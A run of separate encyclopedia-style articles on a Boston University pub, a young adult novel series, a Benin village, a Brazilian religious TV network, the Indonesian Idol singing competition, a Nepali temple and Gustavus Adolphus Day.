In the basement of the BU Castle is the BU Pub, an English-style pub serving drinks and sandwiches. The Castle is the only Boston University-operated drinking establishment on campus. It is open only to faculty, staff, alumni, students, and invited guests, and is closed on weekends. The Pub sometimes has live music on Thursdays, with performances mostly from BU students. Popular house activities are the Knight's and Lord's Quests. In the Knight's Quest, students must drink 50 different types of beer that the pub offers. The accomplishment culminates in a Knighting Ceremony where the new Knights are given different nicknames by friends for a mug that they can use while at the pub. The Lord's Quest is similar except it involves 60 mixed drinks, and after the ceremony the new Lord's name is engraved on a plaque. For reasons that are not entirely clear, the plaque has not been updated for over two years. In September 2008, the BU Pub canceled the Lord's Quest, so now only the Knight's Quest remains.
References
Buildings at Boston University
Castles in Massachusetts
Houses in Boston
Tudor Revival architecture in Massachusetts
Houses completed in 1915 |
Raised by Wolves is a young adult fantasy novel series by Jennifer Lynn Barnes, published by EgmontUSA. The series consists of four books: Raised by Wolves (2010), Sweet Sixteen (2015), Trial by Fire (2011), and Take by Storm (2012).
Raised by Wolves
Raised by Wolves was published June 8, 2010.
The book received a positive review from Booklist and a mixed review from Kirkus.
In 2010, Raise by Wolves was nominated for the Romantic Times Reviewers' Choice Award for Best Young Adult Paranormal/Fantasy Novel.
Sweet Sixteen
Sweet Sixteen is a short story that takes place in the timeline between Raised by Wolves and Trial by Fire. It was published June 12, 2015.
Trial by Fire
Trial by Fire was published June 14, 2011.
Taken by Storm
Taken by Storm was published May 22, 2012.
References
Novels set in Wyoming
Young adult fantasy novels
Novels set in Montana
Novels set in North Dakota
Egmont Books books |
Odokoriko is a village in the commune of Bassila in the Donga Department of western Benin.
External links
Satellite map at Maplandia
Populated places in the Donga Department
Commune of Bassila |
Rede Internacional de Televisão (International Television Network, in English), better known as RIT is a Brazilian religious television network, owned by Igreja Internacional da Graça de Deus, led by the missionary R. R. Soares. The programming of this channel is produced for all ages, and almost all of its programming is self-produced. The TV content is interdenominational, meaning that it is produced for the Protestant public in general. Their programs are varied, with children's shows, religious shows, some music shows and journalism.
In Brazil, RIT owns eight owned-and-operated stations, has more than 170 affiliates and more than 120 million viewers in all Brazilian states. RIT is transmitted in Brazil through systems such as UHF, VHF, cable and satellite. This channel also has its own transmission website.
History
RIT was founded on August, 1999. The project was a television channel with quality, but, there were difficulties to do it. The channel succeeded. Time to time, RIT started news and entertainment shows such as "Movimento Jovem", "Consulta ao Doutor", "Zig Zag Show", and others.
References
External links
Official Website
Television networks in Brazil
Portuguese-language television networks
Television channels and stations established in 1999
Evangelical television networks
1999 establishments in Brazil |
Indonesian Idol is a reality television singing competition created by Simon Fuller and produced by RCTI Production Team and FremantleMedia Asia, which began airing on RCTI in March 2004 and became one of the most popular shows in the history of Indonesian television. Part of the Idol franchise, it was as a spin-off from the UK show Pop Idol.
The concept of the series is to find new solo recording artists where the winner is determined by the viewers. Through telephone and SMS text and the RCTI+ app voting, viewers have chosen 12 winners to date: Joy Tobing, Mike Mohede, Ihsan Tarore, Rini Wulandari, Aris Runtuwene, Igo Pentury, Regina Ivanova, Nowela Auparay, Maria Simorangkir, Lyodra Ginting, Rimar Callista, and Salma Salsabil (listed in chronological order).
The series employs a panel of judges who critique the contestants' performances. The original four judges were AMI Awards-winning jazz musician Indra Lesmana, AMI Awards-winning pop diva Titi DJ, radio personality Meuthia Kasim and film director Dimas Djayadiningrat. The judging panel currently consists of musician, singer, entertainment producer, and impresario Anang Hermansyah, AMI Awards-winning, musician, songwriter, music producer, and television personality Maia Estianty, AMI Awards-winning pop diva Rossa, ex-frontman of Dewa 19 and pop-rock singer Ari Lasso, and runner-up of Indonesian Idol season 2 Judika. Other judges who have been a part of the show are radio and television host Indy Barends, MTV video jockey and actor Jamie Aditya, composer and conductor Erwin Gutawa, Indonesian Movie Awards-winning actress and pop singer BCL, AMI Awards-winning pop diva and also Indonesian-International superstar and performer AGNEZ MO, hits-maker producer Ahmad Dhani, frontman of Gigi Armand Maulana, and vocalist of Kotak Tantri Syalindri.
The show was originally hosted by radio DJ Amelia Natasha a.k.a. Ata and TV host Irgi Ahmad Fahrezy. In 2006, MTV Indonesia's video jockey Daniel Mananta replaced Irgi as the main host and singer Dewi Sandra replaced Ata in 2008. In 2010, Daniel Mananta was the only host for this program until 2012. In 2014, Pica Priscilla and Lolita Agustine accompanied Daniel Mananta respectively as the backstage host. In 2017, Sere Kalina with Daniel Mananta filled in as the main host. In 2020, actor, rapper, TV host and YouTuber, and also MTV Indonesia's video jockey, Boy William replaced Daniel Mananta as the main host.
The show has won several awards, including the 2005 and 2006 Panasonic Awards for the Best Music Variety Show. The show won over its popular rival singing competition show at the time, Akademi Fantasi Indosiar (known locally as AFI).
After the fifth season, the event was discontinued because of declining ratings, and resumed its sixth season in 2010. The seventh season was held in 2012 and rapidly became the most successful season in the history of Indonesian Idol. Originally planned to be replaced by UK hit The X Factor in 2013, both shows were still broadcasting on every alternating year.
In 2014, Indonesian Idol ratings decreased. And in the next year, precisely in November 2015, Indonesian Idol programs for the time being discontinued and replaced by The Voice Indonesia which were considered more popular in the world. However, due to the low ratings of The Voice Indonesia, RCTI announced in June 2017, that Indonesian Idol would return after a three-year hiatus.
Judges and hosts
The show had originally four judges, namely musician, instrumentalist, and Indonesian jazz icon Indra Lesmana, Indonesian pop diva Titi DJ, radio personality Meuthia Kasim, and film director Dimas Djayadiningrat a.k.a. Dimas Djay. In season three, radio and television personality Indy Barends replaced Meuthia Kasim because of Meuthia's health. Indy stayed only for one season and left the show before season four. In season four, MTV video jockey, actor, and radio host Jamie Aditya replaced Indy Barends and musician, singer, producer, and impresario Anang Hermansyah replaced Dimas Djay who left the panel after three seasons. In season five, Jamie left the panel and only three judges, Indra, Titi, and Anang were the judges. In 2010, Indra Lesmana and Titi DJ left the panel and replaced by composer and conductor Erwin Gutawa and Indonesian superstar Agnes Monica. Indonesian and Malaysian pop diva Rossa joined panel to be the fourth judge. And in 2012, Anang Hermansyah and Agnes Monica return as judges, while a frontman of Dewa 19, musician, composer, and hits-maker music producer Ahmad Dhani replaced Erwin Gutawa in the panel. In 2014, Titi DJ returned to the panel after an absence of three seasons. while Agnes Monica left the panel of judges and being replaced by singer and vocalist of Kotak Band Tantri Syalindri. Anang and Dhani still returned as judges. In 2018, RCTI announced all judges from last season would not be returned and the formation panel were changed from four judges into five judges. Pop-rock singer and ex-frontman of Dewa 19 Ari Lasso, frontman of Gigi and songwriter Armand Maulana, music producer and musician Maia Estianty, famous actress and pop singer BCL, and runner-up of Indonesian Idol season 2 Judika were all set for the panel. On the upcoming season 10 or called "Idol X", all the judges from previous season was confirmed to come back, except Armand due to his duties on another talent show, and being replaced by previous seasons judge Anang Hermansyah after one hiatus season. In 2020 season, BCL being replaced by pop diva Rossa due to BCL's mental conditions after her husband's death at the same year. In 2022 season, Maia and Ari being replaced by BCL, previous seasons judge and ex-frontman of Naif, David Bayu, new judge.
Guest judges may occasionally be introduced. In season one, guest judge was pop diva Krisdayanti. In season two, musician, music producer, composer, and songwriter Yovie Widianto replaced Dimas Djay and frontman of Dewa 19, musician, composer, songwriter, and music producer Ahmad Dhani replaced Meuthia Kasim in any cities audition. In season four, in several times Titi DJ replaced by comedian, actress, radio host, and singer Tika Panggabean in Spectacular show. In season six, alternately singer, songwriter, music producer, composer, and music arranger Melly Goeslaw, Ahmad Dhani, frontman of ST 12 Charly Van Houten, frontman of Ungu Pasha, and frontman of Gigi Armand Maulana were the guest judges in spectacular show.
Guest judges were used in the audition rounds for seasons five, six and seven, such as singer Rio Febrian, Melly Goeslaw, singer and songwriter Nugie, and Yovie Widianto in season five Melly Goeslaw, Ahmad Dhani, singer Hedi Yunus, pop-jazz singer Andien, and singer Nina Tamam in season seven.
The two season first was presented by Amelia Natasha aka Ata and Irgi Ahmad Fahrezy. Irgi quit after the second season and replaced by Daniel Mananta. In fifth season, Ata left the show and replaced by RnB, dance, and pop singer Dewi Sandra. Since sixth season, only Daniel Mananta was the host of this show. At eighth season, Pica Priscilla and Lolita Agustine accompanied Daniel Mananta respectively as the backstage host. At ninth and tenth season, Sere Kalina with Daniel Mananta filled in as the main host. Actor, rapper, TV host and YouTuber Boy William replaced Daniel Mananta as the only main host at eleventh season. But, when Boy William has tested positive to COVID-19 at end of December 2020 until mid-January 2021, Daniel Mananta returned to be guest host. When Boy has recovered, he hosted this show again together with Daniel, until Daniel really resigned from Indonesian Idol at end of January 2021.
Presenters
Key: Current Previous
Judges
Key: Current Previous
Winners
Later, Joy broke her contract with Fremantle Media and Indonesian Idol. As a result, her place as the winner was granted to runner-up, Delon Thamrin.
Selection process
In a series of steps, the show selects the eventual winner out of many tens of thousands of contestants.
Auditions
There were 2 rounds of auditions which usually took place in large convention halls where thousands of people waited in line. The first-round judges were the Sony BMG people. Those who pass the first round of preliminary auditions continued to audition in front of the Indonesian Idol main judges. Contestants were required to sing a cappella with poor singers often facing intense and humbling criticism from the judges. Typically, the judges express disgust or dismay or suppressed laughter. Those who impress the majority of the judges, move on to the elimination round which take place in Jakarta. Usually only 150 to 170 contestants get through to the elimination round in Jakarta.
Contestants had to be Indonesian citizens. For the first season, contestants were required to be between the ages of 18 and 24 years old. To increase variety, in the second and third season the age requirement was lowered from 18 to 16 and the upper age limit was raised from 24 to 28. As a result, there were many teenagers that made it to the final 12 such as Monita and Vira from the second season and also Tesa, Brinet, Christy, Ihsan, Gea and Dirly from the third season. For the fifth season, the eligible age-range for contestants were 17 to 29.
Elimination round
There were 3 elimination rounds. In the first elimination round, 170 contestants from around Indonesia were separated in 17 groups of 10 contestants. In the 2nd elimination round, male and female contestants were paired and sang duets. In the last elimination round the remaining contestants sang their choice of song alone in front of the judges. The judges then inform them whether they have made it onto the stage show or not.
Workshop Round
Season 1
In the first season, 30 contestants were separated in groups of 10 and every week three contestants from each group were chosen to the Top 10 or The Spectacular Show. Audiences vote their favorites by SMS and Premium Calls. After 9 contestants were chosen, there was a wild card round. Only one contestant from the Wild Card round could join the 9 contestants at the Spectacular Show. Karen Theresia Pooroe won the most audience votes, advancing to the Top 10. Although the spectacular show was supposed to have a set of 10 contestants, the judges announced at the last minute that they would be advancing a second wild card/eleventh contestant, Lucky Octavian, as well.
Season 2
In the second season, there was no Wild Card round. 24 contestants were separated into groups of 8. Every week, 4 contestants were picked to move on to the Top 12.
Season 3
For the third season, the workshop stage consisted of three rounds each for male and female contestants. There were 28 contestants that made it to the workshop stage on the third season. In the first week, eight contestants (four males and four females) were sent home. Six contestants (three males and three females) were sent home in the second week, and the final workshop eliminated four more contestants (two males and two females). Before the spectacular round, pre-gala and wild card show was held. Four of the eliminated contestants were chosen by the judges and two of them, one male and one female, were given a place in the Spectacular Show based on voting result.
Season 6
The sixth season saw several changes to the format of the show. There were 14 finalists instead of 12. On the Workshop round, 24 semi-finalists were divided into 2 groups. Each consists of 6 male and 6 females. Four contestants of each group got voted off in the first and second week, two in third, fourth and fifth week respectively until resulting the top 10 contestants who filled 10 of 14 spots on the Spectacular Shows. The judges selected 8 of the previously eliminated 14 semi-finalists to compete in the Wild Card round. Two contestants were picked based on votes by the viewers while the other two were selected by the judges. A total of four contestants (two males and two females) advanced to the final group of 14.
Spectacular Show
The Spectacular Show, which lasted eleven weeks, each finalist performed a song live (two in the top 4 and top 3 and three in the finale) in prime time with a weekly theme at Balai Sarbini Concert Hall in Jakarta in front of live audiences. Unlike American Idol, Indonesian Idol's Result Show is conducted about 1-hour after the Spectacular Show. For the Grand Final, the Result Show was conducted 7 days after the Grand Final. In the Result Show, some finalists who get the fewest votes are put in the bottom three or bottom two. Each week, finalist with the fewest votes is sent home. This process was repeated each week until the one remaining contestant is declared the winner.
Indonesian Idols famous sentence for the result is Indonesia Memilih! (Indonesia has chosen!/Indonesia voted...) along with a 1-minute pause and at last, the result. Every season, the two remaining finalists in the Grand Final sing a new single for the Winner's Record. The song is going to be recorded at the winner's album.
Season Synopsis
Season 1
The first season was conducted in 2004 where the auditions were held at five cities: Medan, Yogyakarta, Bandung, Surabaya and Jakarta. 32,000 people who auditioned for Season 1. The show became a big phenomenon after the grand finale was watched by about 4 million people in September 2004. There were several people who sang off-keys on the audition who competed on 'Coba Lagi Awards' (Retry Awards). The winner of this award became a guest star on The Top 11 Spectacular Show's Result Show.
The number of the finalists on the first Spectacular Show was originally planned to be 10. However, the judges then made a surprising move by picking Lucky Octavian to also get the wild-card ticket (the first wild card ticket was taken by Karen Pooroe) making the number of contestants became 11. Guy Sebastian who was in Indonesia for his album promo tour, came as a guest star at the Top 7 Spectacular Show.
Indonesian Idol released its first compilation album, Indonesian Idol: Indonesian All Time Hits. The album made a huge success and had a Double Platinum status. In the album, the Top 11 sang their first hit, Ekspresi.
Two finalists who battled at the Grand Finale were Joy Destiny Tobing and Delon Thamrin. There were 7,000 people who watched the show live at Istora Senayan, Jakarta. The soon to be Indonesian president Susilo Bambang Yudhoyono also watched the grand final. Eventually, the winner of the first season was Joy Destiny Tobing from Jakarta.
She signed a contract deal with BMG Indonesia, the partner of Indonesian Idol's 19 Management. Not so long after her victory, Joy released her first album, Terima Kasih (Thank You) including her new single, most notable as her coronation song, Karena Cinta.
After the show, the top 10 finalists (minus Helena Andrian who withdrew her participation due to contract problem) had a tour around Indonesia. They visited Bandung, Semarang, Surabaya, and Medan. Indonesian Idol Finalists were given the opportunity as the opening singers on American Idol tour in Singapore not long after the show.
A few weeks after the tour, Joy's contract with the show's producer, FremantleMedia, was terminated after some problems regarding terms of her contract.Joy: Saya Ditelantarkan. Retrieved 5 March 2010 As a result, runner-up Delon Thamrin was more heavily promoted by Fremantle afterwards.
After leaving Indonesian Idol, Joy made her first international album called Rise. Rumors said that Joy had been planning to resign from Indonesian Idol since the audition for her fame. Delon also took his first role as a movie star by starring at the movie Vina Bilang Cinta with Indonesia's famous actress Rachel Maryam.
Before Joy, Helena also resigned from Indonesian IdolHelena Tolak Tanda Tangani Kontrak Dengan IP. Retrieved 6 July 2010 and released her first solo album in 2005 titled Keajaiban Cinta. Nania, the second runner-up, and Karen also chose to resign shortly after Helena.
Delon's first album was released in October 2004 with the single Bahagiaku. His album also made a huge success. He was also featured in Indonesian Famous Singer, Andre Hehanusa,'s album with his single Aku Masih Cinta (I still Love You). Delon's second album was released in December 2005. Delon was also nominated as the Best New Singer in Anugrah Planet Muzik 2005. He also won a 2005 SCTV Award as The Best New Artist.
Michael Jakarimilena starred a movie about a Papua boy where he starred as one of the villagers in the movie. The movie was released in Indonesia in 2006. Winda Viska Ria takes a role at a local sitcom called OB Office Boy. Nania was featured in Indra Lesmana's album and sang Sedalam Cintamu (As Deep as Your Love) with Indra Lesmana. Adika Priatama has been working for RCTI as an anchor.
Finalists
(ages stated at time of contest)
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1 The first week of The Spectacular Show was a Double Elimination Week and four contestants were announced unsafe.
2 Due to having an appendicitis, Nania was absent on the Top 7 show, leaving the show with only 6 contestants. She was allowed to remain on the show proceeding to the top 6-week, but just for one week. Otherwise she would automatically be voted off.
3 It was revealed that the number of votes cast during the grand final week were approximately 4 million. Less than 6 percent margin separated Joy and Delon.
Season 2
The second season started on 25 March 2005. Auditions were held from 15 February – 17 March at five cities: Makassar, Yogyakarta, Bandung, Surabaya and Jakarta. The audition in Medan was canceled due to the tsunami in 2004 that destroyed most part of Aceh and North Sumatra. Then, as a replacement, the audition was also held in Makassar. There were 38,000 people who auditioned for the second season.
There were some changes on the second season, named there was no Wildcard round, and the number of the finalists on the spectacular show became 12. Nine male contestants made it to the top 12 and only three female contestants. It is the only Indonesian Idol season to have a gender imbalance among the finalists.
Indonesian Idol Season 2 Compilation Album was released three weeks after the Spectacular Show began. The title of the album was Seri Cinta or Love Songs. The single album-hit was Cintaku, sung by Season 2's Top 12.
Two finalists that who in the Finale were Mike and Judika. The Grand Final was held at the Plenary Hall of Jakarta Convention Center. In the Result Show, some stars became guest stars, one of them was Christian Bautista a famous male singer from the Philippines. Ruth Sahanaya, Indonesia's Pop Diva, made a surprise appearance for Mike and Judika when they sang her song, Tak Kuduga. Season 1 finalists came to the Result Show and sang together with season 2's finalists.
The number of votes cast during the grand final week was the only 1 million. Mike took the crown by a slim two percent margin. It was that Judika led the vote before the Result Show, but finally Mike passed him and won.
Not long after the finale, he released his self-titled album with his new single, Semua Untuk Cinta (All For Love). Many great Indonesian Composers made some songs for Mike's first album, including, Cinta Tak Bertuan composed by Glenn Fredly. Runner up Judika had released his solo album in August 2006. The Top 12 contestants had a tour to Surabaya. The tour was initially planned to also go to Bandung, Yogyakarta, and Makassar. However, Fremantle canceled it without any published reason. After seven years passed, some of the finalists of season 2 were confirmed to go back to the music industry. Maya (now Kamaya) has launched his first mini album in 2010, Wisnu who'd changed his name into Nino released two singles in 2011, Monita who's placed fourth on this season has launched her first album in 2010 produced by the former judge Indra Lesmana. Also, Judika became the Judge since Season 9.
Also, Ronald Silitonga, Wisnu, Danar Indra and Top 8 of season 3 Sisi Hapsari have made a Christian group named Awaken which had mild success in Indonesian gospel music. In 2013, Danar Indra also confirmed to launch his first single: "Untuk Apa" (What For) written by Bemby Noor, who has written for Afgan and Girlband Cherrybelle.
In 2016, the public was shocked by the death of Mike Mohede because of a heart attack on Sunday afternoon. It became the most trending topic ever in Indonesian entertainment history, named him one of the best personalities in Indonesian Music. Weeks after, some winners of Indonesian Idol and finalists made a tribute concert and watched by thousands of fans.
In 2017, Top 12 finalist Danar Indra confirmed through his fan page that he would release his first Christian Contemporary Album and worked with the keyboardist of Tompi and Trio Lestari. In January 2018, Danar had signed a solo deal with an Independent Christian Label, and on 18 January 2018, Danar released his debut solo single "Tuhan Adalah Gembalaku." The single went exceptionally well in digital and became a fan's long waiting single after 12 years and started as the first Indonesian Contemporary Christian Artist in the millennial era (2010–2018). On 18 February 2018, Danar released his first debut album, "And I'm Dancing..." digitally. The album was influenced by his ups and down life, spiritual experiences, and Psalm 23. There are ten tracks, one of which is the international version of his first single, a duet with one gospel singer Maya Uniputty. Following the success of his debut album, he released a CCM recycle song: "Kau Sangat Ku Cinta," written by Franky Sihombing in an acoustic version. In 2020, Danar teamed with Jims Wong from The Voice Indonesia Semi-Finalist, releasing a sophomore single, "Rencana-Mu," featuring Viona Paays. The single was mastered under Nashville Auto Mastering in the US and got mild success as a new Christian Contemporary Song. In 2022, Danar teamed with a Christian Worship leader and former vocalist of Lifetree, Franky Kuncoro, to release a recycle song: "Pilihan Yang Terbaik," either studio and Live version, which aired on Revivo Channel. Danar is producing his new album: GREATEST STORY EVER TOLD, which is planned to be launched at the end of 2022.
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Season 3
The third season of Indonesian Idol was launched on 21 April 2006. The auditions were held at some Indonesia's major cities such as Jakarta, Bandung, Yogyakarta, Surabaya and Medan. This season, Indonesian Idols also conducted small auditions at some other cities such as Manado and Ambon. The contestants who passed the initial round in both Manado and Ambon were eventually brought into an elimination round in Surabaya. After an additional elimination round, the final group of contestants were finally brought to Jakarta to determine the final twelve contestants who made it onto the Spectacular Show.
As with previous Indonesian Idol seasons, the spectacular show was held in Balai Sarbini (Sarbini Building) located in South Jakarta. The Third Season's finalists were considered better than the previous seasons by the judges. However, there were some surprising eliminations going on at the Spectacular Show. Depe, who was regarded as a strong contender, became the first contestant to be eliminated. Indra Lesmana said that Depe was way too early to be eliminated. Sisi, who was a huge favorite amongst judges, got eliminated on the fifth Spectacular Show. The Final Three consisted of Gea, Dirly, and Ihsan. Gea's fans votes were not enough to safe her from elimination from the Top 3. This left Dirly and Ihsan to battle at the Grand Finale for the Indonesian Idol Season 3 title. The Grand Finale was held at the Istora Senayan (Senayan Athletic Complex) in Central Jakarta. The live audience who attended the Grand Finale was approximately 7,000 people. Kemenangan Hati, the winner's single for the third season, was written by Indonesia's top composer, Yovie Widyanto, who also served as guest judge at the Indonesian Idol's season two auditions. The grand final week had a total of approximately 2.7 million votes. Ihsan won with a margin of 10 percent more votes than Dirly
The third season also released a compilation album called, Tribute to Tonny Koeswoyo. Tonny, one of the founding members of Koes Plus, a legendary Indonesian Rock Band, died in 1987. Before his death, he and his brothers produced more than a few catch tunes that people still remember until today. The Top 12 Finalists sang Nusantara (Nusantara is the other name for Indonesia) as well as Koes Plus' other famous hit songs such as Diana and Kembali ke Jakarta (Return to Jakarta).
Since the show ended, Dirly and Gea have been seen debuted their acting career in a TV drama called Idola (Idol) which was aired on RCTI every Mondays on 8 pm. Ihsan also debuted his acting career in an Islamic religious series called Maha Kasih which is also aired by RCTI.
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Season 4
The fourth season premiered on 30 March 2007. Auditions began in early January. Ata and Daniel are back as fourth season's hosts. Indra Lesmana and Titi DJ returned as judges while Indy Barends and Dimas Djayadiningrat were replaced by Anang Hermansyah and Jamie Aditya. The fourth season's compilation album titled "Masterpiece" was released on the seventh week of Spectacular Show. The single hits was Bendera (originally sung by Cokelat), performed by the Top 12 finalists.
Rini Wulandari was named the winner of Indonesian Idol season 4 on July 28, 2007. She is the fourth finalist from Medan, North Sumatra who made it to the finale. This season was the first time since the first season where a female had won. The formation of 1 male and 3 females on the Top 4 is also exactly the same formation as in season 1. Rini's debut album was released in November 2007, which included her winner's single. Runner-up Wilson released his first single in March 2010. Fifth-place finisher Fandy Santoso, is now the lead singer of the band Kerispatih, replacing the band's former vocalist Sammy who was kicked out of the band due to drug use.
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1 It was announced the bottom two rather than the usual bottom three. Dimas finally got voted off after 5 times consecutively was placed in the bottom three or bottom two.
2 It was revealed that Rini got the highest number of votes. It also meant that Gaby got the second highest number of votes.
3 Rini got 51.2% of all votes which were cast in while Wilson only got 48.8%
Season 5
The commercial of season 5 was firstly aired during the Asian Idol's commercial break. Online registration was open on the Indonesian Idol's official website. Audition started on 3 February, starting in Medan. Daniel returns as the show's host, along with two new hosts, Dewi Sandra and Marissa Nasution. Ata is no longer the host because she moved to Australia with her husband. There were 15 cities which were visited for auditions. Eight cities which were opened for auditions are Medan, Manado, Ambon, Bali, Surabaya, Bandung, Palembang, Jakarta. Seven other cities, Yogyakarta, Malang, Madiun, Salatiga, Cilacap, Tegal, and Cirebon were visited by an Audition Bus that would tour around. A Dream Box was placed in The Wave Mall in Bali for auditions. The judges for the fifth season are Indra Lesmana, Titi DJ, and Anang Hermansyah.
The fifth season of Indonesian Idol started to be aired on 4 April 2008.
The fifth season (2008) is just finished airing on RCTI. This season the age limit was changed from 16–29 to 17–29.
The fifth season of Idol in Indonesia saw contestants able to perform with an instrument at any stage of the competition whereas other adaptations of Idol that have introduced live instrumentation only allow the concept at certain times during the show.
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Season 6
On 12 March 2009, RCTI's CEO announced that Indonesian Idol would not be running a sixth season. But in late October 2009, RCTI surprised its audience by showing a short commercial of the Indonesian Idol logo. Rumors started spreading that Indonesian Idol will be officially back in 2010 after a hiatus for one season. No press confirmation has been delivered to the media over the actual comeback itself. The judges for the sixth season are Agnes Monica, Erwin Gutawa, Rossa and Anang Hermansyah.
After many rumors, RCTI finally confirmed the return of Indonesian for Season 6, by making audition commercials that featured Daniel Mananta (who will be back for hosting), which confirmed that Indonesian Idol will be back in 2010. The auditions for Season 6 is going to be held from December 2009. Auditions were held in 17 cities. There was a form to fill in on the Indonesian Idol website to try for auditions for 2010. Auditioners had to be between the ages of 16 and 27 by 16 November 2009. The sixth season of Indonesian Idol premiered on 5 March 2010, on RCTI.
The sixth season saw several changes to the format of the show. There were 14 finalists instead of 12. Another change in the format, which was revealed on the fourth week of the Spectacular Show, is the one-time veto power for the judges to save a contestant who was eliminated by the viewers' votes.
Elimination chart
1 On 2nd Spectacular Show, 2 contestants must voted off
2 Starting from Top 10, the judges is might to use Veto Rights which the judges could rescue the voted off contestants. Veto Rights can only be used one time only
3 5th Spectacular Show postponed a day because the opening of 2010 FIFA World Cup on 11 June 2010
4 On 10th Spectacular Show, 2 contestants must voted off
5 Judges use their Veto Rights to save Ray from elimination
Season 7
RCTI confirmed the return of 'Indonesian Idol' for a seventh season, which aired from 17 February 2012, every Fridays and 8:00 pm.
The show, which was dropped the previous year for the launch of 'MasterChef Indonesia' made a comeback later in the year. In 2012, RCTI appointed Fabian Dharmawan to be the Executive Producer and a project leader for Indonesian Idol 2012, while Fremantle Media appointed Glenn Sims to lead the new creative direction and tone for the series. Both Dharmawan and Sims worked closely to free the show of heavy-handed gimmicks that had bogged down previous seasons and to dramatically lift production values. As a result, compared to all the previous seasons, this season of Idol achieved the highest rating and share in average and went on to become the most successful season in the history of Indonesian Idol.
Daniel Mananta who have previously hosted the show returned as the main host. The judges for this season were Anang Hermansyah, Agnes Monica, and Ahmad Dhani.
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Season 8
The eighth season of Indonesian Idol returned in 2014. This season doubled as the 10th anniversary of Indonesian Idol. The judges for this season would be Anang Hermansyah, Ahmad Dhani, Titi DJ and Tantri Syalindri. After a great success in producing X Factor Indonesia, Fabian Dharmawan appointed for the second time as the Executive Producer to lead this series. A little but noticeable different in picture quality in this series. Most of the outdoor scenes were shot in HD and most of the establishments were shot using mechanical heli cameras. Still using the same but slightly improved formula in producing, Fabian invests heavily in the judges chemistry and the raw talents of the contestants.
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Season 9
The ninth season of Indonesian Idol returns at the end of 2017. After the final year of Indonesian Idol, FremantleMedia presented a new breakthrough singing contest, namely Just Duet, created alongside NET. However, as both events had decreased ratings, RCTI and FremantleMedia brought back Indonesian Idol for the ninth season after a three-year hiatus. The judges for this season would be Ari Lasso, Armand Maulana, Bunga Citra Lestari, Judika and Maia Estianty.
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1 This season, the judges decided to not used their Veto Rights'''.
Season 10
The tenth season of Indonesian Idol returns at the beginning of 2019 after a one-year hiatus. Daniel Mananta and Sere Kalina all was confirmed that they will return for this season. The panel of judges for this season would be Ari Lasso, Anang Hermansyah, Bunga Citra Lestari, Judika and Maia Estianty. There will be guest judges for several city auditions. They are pop-rock singer and ex-frontman of ADA Band Baim, singer-actor Marcell Siahaan, singer Rizky Febian, winner of Season 8 Nowela Auparay, runner-up of Season 6 and pop-jazz singer Citra Scholastika, runner-up of Season 9 Ahmad Abdul, and finalist of Season 9 Marion Jola. This season was won by Lyodra Ginting and for the first time, the top 3 were dominated by the Girls. This was the comeback of Anang Hermansyah after a season hiatus.
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Season 11
That season was the one and only Special edition of Indonesian Idol. That season was held in the COVID - 19 pandemic. All of judges were back in that season, but it was Boy William's rookie season on Indonesian Idol, and tested, and as the result, he's positive, and replaced by the legend itself, Daniel Mananta, until he's recovered and Daniel Mananta was resigned from the show. That season was won by Rimar Callista.
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Season 12
The twelfth season is in production after Indonesia's Got Talent season 3 finale, with Pasheman'90 as the winner.
The cities that will be in the schedule of audition, as follows : Medan, Bandung, Denpasar, Yogyakarta, Flores, Kupang, Samarinda, Manado, Lombok, Malang, Surabaya, and Jakarta. The auditions are just begun on October 8, and concluded on November 13, 2022.
It will be the second season for Boy William to presenting this show.
And this is the first season that Maia Estianty will be the guest judge; meanwhile Ari Lasso take an hiatus, after being the judge for three seasons. Bunga Citra Lestari will be back, after her husband's death, which means this is the third season for her, and David Bayu, Naif vocalist, for the first time, joining the panel. And also six other names in the Indonesian music market will be join the panel. On January 16 and 17, will be hold the Showcases, before this round concluded on January 23 and 24, and the Top 15 begin on January 30. Spectaculars itself starts February 6.
This season was ended on May 22, before the upcoming new season of Indonesia's Got Talent would be aired on RCTI.
Salma Salsabil won the season, over Nabillah Taqqiyah and Rony Parulian.
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Indonesian Idol Extra
A supplementary program that features news and updates about the Indonesian Idol contestants, highlights from the show, as well as exclusive behind-the-scenes coverage of Indonesian Idol. The show first aired in 2004.
Controversies
Joy (The winner of the first season) ceased all ties with Fremantle Media and the Indonesian Idol franchise within weeks of her victory due to contractual disagreements between Joy and the show's management Indomugi Pratama. This included a six-year contract with Sony BMG and several appearance commitments including singing at local malls. Joy found this offensive to the Idol title. All traces of her Idol journey were removed from the official site.
During the Workshop Round of Season 4 and Season 5, many contestants said "Saya sudah berusaha.." ("At least I've tried...") or "Apabila saya diberi kesempatan untuk minggu depan, saya akan ..." ("If people give me the chance to stay here for another week, I will...") or "Apabila Indonesia memilih saya untuk minggu depan, saya...."("If Indonesia chose me for an aheading week, I...."'') when they received negative feedbacks from the panels. This stirred up some rumors among fans that it might have been scripted.
Awards and nominations
References
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Official website
2004 Indonesian television series debuts
2014 Indonesian television series endings
Indonesian reality television series
Television series by Fremantle (company)
Indonesian-language television shows
RCTI original programming
Indonesian television series based on British television series |
Kalika Bhagawati Temple, also known as Baglung Kalika Bhagawati Temple, is a significant Hindu temple located south-east of the town of Báglung in western Nepal. It is situated on the southern banks of the Kali Gandaki River.
The presiding deity of the temple is Kalika (or Kali), one of the fiercest forms of Shakti, the consort of Shiva. Kalika is one of the main goddess for the Shaiva sect.
The temple courtyard has four entrances in each of the cardinal directions. The temple compound contains a sprawling collection of various other small temples dedicated to Shiva, Radha Krishna, Lakshmi Narayan and others.
The major festival of the temple, Chaite-Dashain, is held on the eighth day of the Shukla Paksha (bright lunar fortnight) of the month of Chaitra, with thousands of devotees visiting. The devotees light oil lamps, perform pooja, rituals and get married with the belief of receiving the Devi's blessings. The other major festival is that of Dashain, which runs from the Shukla Paksha of the month of Ashwin and ending on the Purnima (full moon).
According to local folklore the King of Parbat District, Pratap Narayan Singh Malla, received an idol of goddess Kalika as part of the dowry in his marriage with King Manimukunda Sen's daughter. Whilst returning to his residence after the marriage ceremony, the bride, groom and others from the marriage procession took shelter in the forest. On the following day, not a single person was able to move the idol, so, the king constructed a temple on that spot.
Traditionally devotees practices live animal sacrifices at the temple in the belief that this would enable their wishes to be fulfilled. On 13 April 2016, the sacrificing of pigeons was stopped on the basis that pigeon representes a symbol of peace. The pigeons are instead released from within the temple's grounds.
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Hindu temples in Gandaki Province
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Gustavus Adolphus Day (; ; ) is celebrated in Sweden, Finland, and Estonia on 6 November in memory of King Gustavus Adolphus of Sweden. Observing the day became popular after the 200th anniversary of the king's death in 1632. It is a general flag flying day in Sweden and Finland. Today it is mainly connected with the consumption of Gustavus Adolphus pastries.
Date
